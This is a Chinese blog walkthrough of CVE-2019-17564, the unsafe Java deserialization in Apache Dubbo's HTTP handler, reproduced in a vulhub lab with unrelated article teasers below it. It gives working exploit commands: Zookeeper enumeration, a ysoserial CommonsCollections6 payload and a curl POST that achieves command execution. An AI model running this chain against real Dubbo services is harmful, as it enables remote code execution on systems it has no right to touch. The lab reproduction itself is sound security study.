Aapche Dubbo 不安全的 Java 反序列化 (CVE-2019-17564)

news2024/11/25 2:37:05

漏洞描述

Apache Dubbo 是一个高性能的、基于 Java 的开源 RPC 框架。

Apache Dubbo 支持不同的协议,它的 HTTP 协议处理程序是 Spring Framework 的 .org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter

Spring Framework 的安全警告显示,HttpInvokerServiceExporter中存在不安全的 Java 反序列化,这可能导致 RCE 漏洞:

警告:请注意由于不安全的 Java 反序列化而导致的漏洞:纵的输入流可能导致不需要的代码 因此,不要将 HTTP 调用程序端点暴露给不受信任的客户端 因此,不要将 HTTP 调用程序端点暴露给不受信任的客户端,而仅在您自己的服务之间公开。一般来说,我们强烈建议使用任何其他消息格式(例如 JSON)。

该漏洞影响 Apache Dubbo 2.7.4 及更早版本,在 2.7.5 之后 Dubbo 替换为 .HttpInvokerServiceExportercom.googlecode.jsonrpc4j.JsonRpcServer

参考链接。

  • https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/remoting/httpinvoker/HttpInvokerServiceExporter.html
  • CVE-2019-17564 : Apache Dubbo反序列化漏洞处置通告-安全客 - 安全资讯平台
  • Apache Dubbo(CVE-2019-17564)反序列化漏洞分析

漏洞环境及利用

搭建docker环境

访问8080端口

wget https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz

tar  -xvf  zookeeper-3.3.3.tar.gz  

解压后,进入Zookeeper执行bin目录下的zkCli.sh

./zkCli.sh  -server  192.168.232.128:2181

 获取RPC接口名称

ysoserial下载链接 :下载好之后直接将文件拖至kali桌面.

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

接着用ysoserial工具生成CommonsCollections6的Payload作为POST Body发送到http://192.168.232.128:8080/org.vulhub.api.CalcService即可触发反序列化漏洞:

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections6 "touch /tmp/success" > 1.poc                #生成一个创建success的1.poc

curl -XPOST --data-binary @1.poc http://192.168.232.128:8080/org.vulhub.api.CalcService #将Payload作为POST Body发送到靶机.这里记得换成你靶机的IP

这个地方生成payload需要root权限,前面chmod加权限也没有用

可以看到命令执行成功

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1260559.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

VS2022 配置Qt编译环境 | winows安装Qt5.14.2 | VS2017和Qt5配置成功指南

Visual Studio 2022安装教程完文本内容较多,请耐心看完,挺有收获的,要自己多尝试哦。 文章目录 # 插件安装 如果你想用VS2022来创建QT项目,那么你首先要学会下面的操作,创建一个空白解决方案,在扩展搜索qt,并且下载两个插件(带有绿√的就是)。这里其实是一个坑:VS20…

福利来了| 200多款精选简历模板免费领,让你30秒内征服HR!

找工作是不是让你很头大?尤其是写简历,真的好痛苦啊!我在网上找了好久,都没有找到合适的简历模板,自己做又不知道从哪里下手。 不过现在好了,有一个超级福利送给大家!200多款精选简历模板免费领…

231127 刷题日报

这周值班。。多少写道题吧,保持每天的手感。老婆给买了lubuladong纸质书,加油卷。 1. 131. 分割回文串 写个这个吧,钉在耻辱柱上的题。 为啥没写出来: 1. 递归树没画对 把树枝只看做是1个字母,而且不清楚树枝和节点…

键盘打字盲打练习系列之刻意练习——1

一.欢迎来到我的酒馆 盲打,刻意练习! 目录 一.欢迎来到我的酒馆二.选择一款工具三.刻意练习 二.选择一款工具 俗话说:工欲善其事必先利其器。在开始之前,我们可以选择一款练习盲打的工具。打字软件有很多,还有专门练习打字的网站&…

leetCode 77.组合 + 回溯算法 (bactracking) + 剪枝 + 图解 + 笔记

77. 组合 - 力扣(LeetCode) 给定两个整数 n 和 k,返回范围 [1, n] 中所有可能的 k 个数的组合。可以按 任何顺序 返回答案。 示例 1: 输入:n 4, k 2 输出: [[2,4],[3,4],[2,3],[1,2],[1,3],[1,4], ] …

Java小游戏飞翔的小鸟

游戏界面 运行界面 开发准备 1、eclipse开发工具 二、创建游戏窗口 Mains类作为主类,在mian方法下定义一个m1()方法,设置窗口。 //定义一个初始化的游戏窗口方法 public static void m1() {//获取底层窗口界面的工具类JFrame jf new JFrame();//创建…

计算机组成原理-页式存储器

文章目录 页式存储虚拟地址vs实地址页表:逻辑页->主存块号地址交换过程地址交换过程(增加TLB)总结 页式存储 把程序分散式地放到主存的不同块的地方 虚拟地址vs实地址 操作系统将逻辑地址映射到主存块中的物理地址,对应的物…

测试也应该具备的项目管理能力

前言 前几天在技术交流群有同学问到:“需求不明确&测试时间不足,经常加班,交付质量也不太好,该如何处理”? 群里其他同学很热心的给出了分析和建议,比如: 评估是否是技术问题&#xff0c…

报表生成器Stimulsoft用户手册:深入报告

Stimulsoft Reports 是一款报告编写器,主要用于在桌面和Web上从头开始创建任何复杂的报告。可以在大多数平台上轻松实现部署,如ASP.NET, WinForms, .NET Core, JavaScript, WPF, Angular, Blazor, PHP, Java等,在你的应用程序中嵌入报告设计器…

echarts 水波图

echarts 水波图 安装 npm install echarts --save npm install echarts-liquidfill --save引入 import * as echarts from echarts; import echarts-liquidfill;html <div id"chart1" ref"chart1" class"chart1"></div>css .cha…

echarts散点图(象限图)设置不同的颜色

如图所示&#xff1a; <template><div ref"sdtcmijy" :style"{height:scrollerHeight}"></div> </template> <script> import {getXxt} from ./../requestAPI.jsexport default {data(){return {params:{},seriesData:[],…

深入解析:Peft Adapter与LLM融合

在增量预训练阶段或有监督微调阶段使用高效微调方法(Lora)时会产生adapter文件,相当于是一个“补丁”。那么如何将“补丁”与原始模型合并呢? 下面将对模型合并代码进行解读。 相关代码将全部上传到github: https://github.com/hjandlm/LLM_Train 欢迎关注公众号 代码…

数据结构与算法之美学习笔记:26 | 红黑树(下):掌握这些技巧,你也可以实现一个红黑树

目录 前言实现红黑树的基本思想插入操作的平衡调整删除操作的平衡调整解答开篇内容小结 前言 本节课程思维导图&#xff1a; 红黑树是一个让我又爱又恨的数据结构&#xff0c;“爱”是因为它稳定、高效的性能&#xff0c;“恨”是因为实现起来实在太难了。对于绝大部分开发工程…

【Java Spring】SpringBoot 配置文件

1、Spring Boot配置文件 整个项目中所有重要的数据都是在配置文件中配置的&#xff0c;比如&#xff1a; 数据库连接信息&#xff08;包括用户名和密码的设置&#xff09;项目的启动端口第三方系统的调用密钥等信息用于发现和定位问题的普通日志和异常日志等 Spring Boot配置…

希宝猫罐头怎么样?专业人士告诉你适口性好的猫罐头推荐

通过本文&#xff0c;我将与大家分享我做宠物医生6年间发现的好用的猫罐头品牌&#xff0c;并分享猫罐头喂养的小知识。那么希宝猫罐头好吗&#xff1f; 希宝猫罐头用了很高级的加工方法&#xff0c;还很注重包装和密封&#xff0c;包装设计特别时尚&#xff0c;特别好看&…

MS2630——Sub-1 GHz、低噪声放大器芯片

产品简述 MS2630 是一款 Sub-1 GHz 低功耗、低噪声放大器 (LNA) 芯 片。芯片采用先进制造工艺&#xff0c;采用 SOT23-6 的封装形式。 主要特点 ◼ 典型噪声系数&#xff1a; 1.57dB ◼ 典型功率增益&#xff1a; 16.3dB ◼ 典型输出 P1dB &#xff1a; -9.2dBm…

Nacos 2.X核心架构源码剖析

概述 注册中心并发处理&#xff0c;1.4.x 写时复制&#xff0c;2.1.0 读写分离&#xff1b;nacos 一般使用 AP 架构&#xff0c;即临时实例&#xff0c;1.4.x 为 http 请求&#xff0c;2.1.0 优化为 gRPC 协议&#xff1b;源码中使用了大量的事件通知机制和异步定时线程池&…

window上64位和32位的区别

在电脑上安装系统和软件的时候&#xff0c;经常会出现32位系统和64系统的选项&#xff0c;那么Windows64位系统和32位系统的区别具体在哪里&#xff0c;很多人都是比较模糊&#xff08;比如说我....&#xff09;的&#xff0c;那么今天小黑就来详细的科普下这两个系统究竟有什么…

Maven回顾

Maven 下载&#xff08;前提要有jdk&#xff09; Maven 下载地址&#xff1a;Maven – Download Apache Maven 设置 Maven 环境变量 添加环境变量 MAVEN_HOME&#xff1a; 右键 "计算机"&#xff0c;选择 "属性"&#xff0c;之后点击 "高级系统设置…

Python列表:操作与实例分析,你值得一看!

Python列表是一种重要的数据结构&#xff0c;它允许您存储和管理多个数据项。本文将深入探讨Python列表的操作&#xff0c;以及通过具体实例分析如何使用它们&#xff0c;以帮助您更好地理解和优化您的代码。 什么是Python列表&#xff1f; Python列表是一种有序、可变的数据结…